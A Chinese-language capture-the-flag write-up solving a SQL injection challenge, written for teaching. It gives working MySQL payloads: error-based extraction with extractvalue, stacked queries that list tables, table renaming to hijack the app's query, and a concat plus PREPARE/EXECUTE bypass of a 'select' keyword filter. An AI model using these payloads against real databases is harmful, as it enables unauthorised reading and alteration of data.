BUUCTF-[强网杯 2019]随便注
0x00:写在前面
这道题目让我在mysql语法上学到不少东西
还有骚思路,确实打ctf需要脑子反应快,骚主意多
0x01:解题思路
打开题目很简单的一个查询框
输入1'报错
1'-- -不报错
1' order by 2-- -字段两个
然后union select查询时报错如下
显而易见,做了过滤。是preg_match的检测,常规的双写 大小写啥的都不行
这里可以使用报错注入:?inject=1' and extractvalue(1, concat(0x5c, (database())));-- -
得知数据库名字为supersqli(其实不知道数据库名字也可以)
因为接下来的爆表操作仍然需要用到select 所以放弃
尝试堆叠查询
1';show tables;-- -
这里爆出两个表,191开头这个表一看就很有嫌疑,尝试读取
1';show columns from 1919810931114514-- -
上面读取信息失败,1';show columns from `1919810931114514`-- -
经过查询资料得知,`在mysql里用处是 将一些可能被识别为mysql内置函数的字符串进行处理,变为用户控制的字符串,代表mysql中的转义字符
读出数据如下
上面诱人的flag,再进行words表读取。
接下来就是围绕着读取flag来进行了
这里有两个方法:
0x02:两种解法
第一种:比较骚的思路,让程序中已经存在的select语法帮我们进行查询,把words改名为其他,191这个表改名为words,然后再添加id字段,将flag字段改为data。
把默认的words改为ww ALTER TABLE words RENAME TO ww; 把1919810931114514改为words; ALTER TABLE 1919810931114514 RENAME TO words; 往words表里新增一个字段id ALTER TABLE words ADD id int(10) DEFAULT '1'; 修改words里面flag为data ALTER TABLE words CHANGE flag data VARCHAR(100);-- - 然后把以上语句进行堆叠:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- - 还有种语句格式: 把默认的words改为ww rename table words to ww; 下面就都一样
第二种:利用concat拼接,这个是mysql的语法知识~学到了
-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
这里set为变量赋值
PREPARE设置sql查询语法
EXECUTE 执行函数